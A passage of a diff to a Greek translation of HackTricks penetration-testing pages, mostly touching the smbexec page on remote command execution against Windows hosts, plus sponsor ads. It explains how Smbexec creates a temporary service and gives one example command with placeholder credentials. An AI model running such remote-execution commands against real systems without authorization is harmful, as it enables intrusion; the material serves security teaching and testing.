 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

@ -432,7 +432,7 @@ powershell -ep bypass - < c:\temp:ttt

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Υποστήριξη HackTricks</summary>

 * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
 * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/windows-hardening/lateral-movement/smbexec.md
+++ b/windows-hardening/lateral-movement/smbexec.md
@ -17,20 +17,20 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

-## How it Works
+## Πώς Λειτουργεί

-**Smbexec** είναι ένα εργαλείο που χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών σε συστήματα Windows, παρόμοιο με το **Psexec**, αλλά αποφεύγει την τοποθέτηση κακόβουλων αρχείων στο σύστημα-στόχο.
+**Smbexec** είναι ένα εργαλείο που χρησιμοποιείται για την απομακρυσμένη εκτέλεση εντολών σε συστήματα Windows, παρόμοιο με το **Psexec**, αλλά αποφεύγει να τοποθετήσει οποιαδήποτε κακόβουλα αρχεία στο σύστημα-στόχο.

-### Key Points about **SMBExec**
+### Κύρια Σημεία σχετικά με το **SMBExec**

 - Λειτουργεί δημιουργώντας μια προσωρινή υπηρεσία (για παράδειγμα, "BTOBTO") στη μηχανή-στόχο για να εκτελεί εντολές μέσω του cmd.exe (%COMSPEC%), χωρίς να ρίχνει κανένα δυαδικό αρχείο.
- Παρά την κρυφή του προσέγγιση, δημιουργεί αρχεία καταγραφής συμβάντων για κάθε εντολή που εκτελείται, προσφέροντας μια μορφή μη διαδραστικού "shell".
+- Παρά την κρυφή του προσέγγιση, δημιουργεί αρχεία καταγραφής γεγονότων για κάθε εντολή που εκτελείται, προσφέροντας μια μορφή μη διαδραστικού "shell".
 - Η εντολή για σύνδεση χρησιμοποιώντας το **Smbexec** μοιάζει με αυτό:
 ```bash
 smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
@ -55,23 +55,23 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές ιστού, το δίκτυο και το cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 {% hint style="success" %}
-Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

 <details>

-<summary>Υποστηρίξτε το HackTricks</summary>
+<summary>Support HackTricks</summary>

-* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
-* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
 {% endhint %}